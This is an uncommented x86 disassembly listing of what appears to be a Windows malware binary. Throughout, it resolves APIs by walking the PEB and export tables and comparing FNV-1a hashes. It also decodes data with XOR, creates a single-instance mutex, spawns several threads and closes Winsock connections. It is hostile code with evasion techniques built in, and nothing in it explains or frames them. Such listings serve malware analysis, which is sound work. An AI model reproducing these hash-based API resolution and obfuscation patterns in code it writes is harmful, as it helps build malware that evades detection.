lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4ac618
cmp esi, 0xfaba0065
je 0x4ac643
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4ac600
mov eax, dword [eax]
jmp 0x4ac5d0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push dword [ebp - 0x58]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4ac6df
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4ac6df
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4ac6d5
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4ac6b8
cmp esi, 0xfaba0065
je 0x4ac6e3
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4ac6a0
mov eax, dword [eax]
jmp 0x4ac670
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push dword [ebp - 0x5c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x48], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x30], ecx
cmp ecx, esi
je 0x4ac77f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4ac77f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x2c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4ac775
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4ac758
cmp esi, 0xfaba0065
je 0x4ac783
mov ecx, dword [ebp - 0x2c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4ac740
mov eax, dword [eax]
jmp 0x4ac710
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x48]
push dword [ebp - 0x70]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x499770
push 0
push 0
call esi
push 0
push 0
push 0
push 0x49c4c0
push 0
push 0
mov dword [ebp - 0x70], eax
call esi
push 0
push 0
push 0
push 0x4a11f0
push 0
push 0
mov dword [ebp - 0x58], eax
call esi
push 0
push 0
push 0
push 0x4a3230
push 0
push 0
mov dword [ebp - 0x5c], eax
call esi
push 0
push 0
push 0
push 0x4a6b30
push 0
push 0
mov dword [ebp - 0x6c], eax
call esi
push 0
push 0
push 0
push 0x4a70c0
push 0
push 0
mov dword [ebp - 0x48], eax
call esi
push 0
push 0
push 0
push 0x4a8da0
push 0
push 0
mov dword [ebp - 0x30], eax
call esi
sub esp, 0x18
mov dword [ebp - 0x2c], eax
mov ecx, esp
mov dword [ebp - 0x3c], esp
push 0x590b74
call fcn.004b0ec0
mov byte [ebp - 4], 0x73
sub esp, 0x18
lea eax, [ebp - 0x7c8]
mov dword [ebp - 0x34], esp
mov ecx, esp
push eax
call fcn.004b0ec0
mov byte [ebp - 4], 0x74
sub esp, 0x18
lea eax, [ebp - 0x7e0]
mov dword [ebp - 0x4c], esp
mov ecx, esp
push eax
call fcn.004b0ec0
mov byte [ebp - 4], 0x75
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x24], esp
push 0x590b8c
call fcn.004b0ec0
mov byte [ebp - 4], 0x76
mov byte [ebp - 4], 0x6c
call fcn.0041c010
mov eax, dword fs:[0x30]
add esp, 0x60
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x4ac917
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4ac917
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x4c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4ac90d
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4ac8f0
cmp esi, 0x71948ca4
je 0x4ac91b
mov ecx, dword [ebp - 0x4c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4ac8d7
mov eax, dword [eax]
jmp 0x4ac8a7
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x3c]
push 0x493e0
push dword [ebp - 0x70]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x4ac9bf
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4ac9bf
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x3c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4ac9b5
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4ac998
cmp esi, 0x71948ca4
je 0x4ac9c3
mov ecx, dword [ebp - 0x3c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4ac980
mov eax, dword [eax]
jmp 0x4ac950
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x4c]
push 0x493e0
push dword [ebp - 0x58]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x5c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x4aca6f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4aca6f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x3c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4aca65
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4aca48
cmp esi, 0x71948ca4
je 0x4aca73
mov ecx, dword [ebp - 0x3c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4aca30
mov eax, dword [eax]
jmp 0x4aca00
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x4c]
push 0x493e0
push dword [ebp - 0x6c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x4acb1f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4acb1f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x3c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4acb15
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4acaf8
cmp esi, 0x71948ca4
je 0x4acb23
mov ecx, dword [ebp - 0x3c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4acae0
mov eax, dword [eax]
jmp 0x4acab0
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x4c]
push 0x493e0
push dword [ebp - 0x30]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x4acbc7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4acbc7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x3c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4acbbd
nop word [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4acba0
cmp esi, 0x71948ca4
je 0x4acbcb
mov ecx, dword [ebp - 0x3c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4acb82
mov eax, dword [eax]
jmp 0x4acb52
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x4c]
push 0x493e0
push dword [ebp - 0x2c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x4acc6f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4acc6f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x3c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4acc65
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4acc48
cmp esi, 0xfaba0065
je 0x4acc73
mov ecx, dword [ebp - 0x3c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4acc30
mov eax, dword [eax]
jmp 0x4acc00
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x4c]
push dword [ebp - 0x70]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x4acd0f
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4acd0f
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x3c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4acd05
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4acce8
cmp esi, 0xfaba0065
je 0x4acd13
mov ecx, dword [ebp - 0x3c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4accd0
mov eax, dword [eax]
jmp 0x4acca0
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x4c]
push dword [ebp - 0x58]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push dword [ebp - 0x5c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x4acdb7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4acdb7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x3c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4acdad
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4acd90
cmp esi, 0xfaba0065
je 0x4acdbb
mov ecx, dword [ebp - 0x3c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4acd76
mov eax, dword [eax]
jmp 0x4acd46
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x4c]
push dword [ebp - 0x6c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x4ace57
test al, al
je 0x4ad4cb
cmp byte [ebp - 0x41], 0
jne 0x4ad4cb
call fcn.0042c500
mov byte [ebp - 4], 0xa2
lea ecx, [ebp - 0x95c]
call fcn.004adb30
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0x964]
call fcn.004adbb0
mov byte [ebp - 4], 0xa4
lea ecx, [ebp - 0x398]
call fcn.0040fe60
mov byte [ebp - 4], 0x3e
lea eax, [ebp - 0x398]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x7e0]
call fcn.004370d0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push str.th1y5atj8
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp byte [0x592f56], 0
je 0x4ad74a
cmp byte [ebp - 0x41], 0
je 0x4ad74a
mov dword [ebp - 0x40], 0x27258c7c
lea edx, [ebp - 0x300]
mov dword [ebp - 0x3c], 0x694760fb
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x40], 0xaf4b4030
mov dword [ebp - 0x3c], 0xbe0aaf25
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x40], 0x5544fc0f
mov dword [ebp - 0x3c], 0xd280d90
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x40], 0xaf4b4030
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x5bc], ecx
mov dword [ebp - 0x3c], 0xbe0aaf25
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
movaps xmm1, xmmword [ebp - 0x300]
mov dword [ebp - 0x5b4], ecx
lea ecx, [ebp - 0x948]
mov dword [ebp - 0x5b8], eax
pxor xmm1, xmmword [ebp - 0x5c0]
push 0x590bbc
movaps xmmword [ebp - 0x300], xmm1
call fcn.004b5380
add esp, 4
mov byte [ebp - 4], 0xa7
mov ecx, eax
call fcn.004b0b80
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [ebp - 4], 0xa8
lea ecx, [ebp - 0x948]
call fcn.0040fe60
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x948]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x1e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4ad635
xor esi, esi
jmp 0x4ad8d7
mov dword [ebp - 0x50], 0x160aaa47
sub esp, 0x18
mov dword [ebp - 0x4c], 0x614469be
mov esi, esp
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x50], 0xaf4b4030
mov dword [ebp - 0x4c], 0xbe0aaf25
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x50], 0x5544fc0f
mov dword [ebp - 0x4c], 0xd280d90
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x50], 0xaf4b4030
mov dword [ebp - 0x90], eax
mov dword [ebp - 0x8c], ecx
mov dword [ebp - 0x4c], 0xbe0aaf25
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x84], ecx
mov ecx, esi
mov dword [ebp - 0x88], eax
movaps xmm1, xmmword [ebp - 0x90]
pxor xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0x3c], esi
movaps xmmword [ebp - 0x80], xmm1
mov dword [ebp - 0x24], esp
mov dword [ebp - 0x34], esi
call fcn.004101a0
mov byte [ebp - 4], 0xb2
lea ecx, [ebp - 0x80]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4ad6d8
sub ecx, edx
lea eax, [ebp - 0x80]
push ecx
push eax
mov ecx, esi
call fcn.004100e0
mov byte [ebp - 4], 0xb3
mov byte [ebp - 4], 0x1e
call fcn.004384f0
mov ecx, dword [0x593134]
mov eax, 0x2aaaaaab
sub ecx, dword [0x593130]
add esp, 0x18
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4ad743
nop dword [eax]
push 0x64
call edi
mov ecx, dword [0x593134]
mov eax, 0x2aaaaaab
sub ecx, dword [0x593130]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x4ad720
mov byte [0x592f39], 1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x4c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x34], ecx
cmp ecx, esi
je 0x4ad7c7
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4ad7c7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x3c], ecx
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4ad7bd
nop
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4ad7a0
cmp esi, 0x2fa62ca8
je 0x4ad7cb
mov ecx, dword [ebp - 0x3c]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4ad786
mov eax, dword [eax]
jmp 0x4ad756
mov eax, dword [ebp - 0x34]
mov edx, dword [ebp - 0x4c]
push 0xbb8
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 2
push dword [0x590b3c]
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x590b3c]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
cmp byte [0x592f56], 0
je 0x4ad8d0
cmp byte [ebp - 0x41], 0
je 0x4ad8d0
push 0
push 0x6ee0dd03
call fcn.00416570
mov ecx, dword fs:[0x30]
add esp, 8
mov dword [ebp - 0x2c], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov esi, dword [ecx + 0x18]
mov dword [ebp - 0x4c], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [ebp - 0x34], eax
cmp eax, esi
je 0x4ad8a7
mov edi, dword [eax + 0x18]
test edi, edi
je 0x4ad8a7
mov eax, dword [eax + 0x20]
lea eax, [eax + edi*4]
add eax, esi
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [ebp - 0x3c], eax
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x4ad89d
nop
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x4ad880
cmp esi, 0x2fa62ca8
je 0x4ad8ab
mov eax, dword [ebp - 0x3c]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x4ad866
mov ecx, dword [ecx]
jmp 0x4ad841
mov esi, dword [ebp - 0x34]
mov edx, dword [ebp - 0x4c]
push dword [ebp - 0x2c]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
jmp 0x4ad822
call sub.KERNEL32.dll_GetCurrentProcessId
mov esi, eax
mov byte [ebp - 4], 0xb4
lea ecx, [ebp - 0x328]
call fcn.0040fe60
mov byte [ebp - 4], 6
lea eax, [ebp - 0x328]
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0xb7
lea ecx, [ebp - 0x6e8]
call fcn.0040fe60
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x6e8]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x10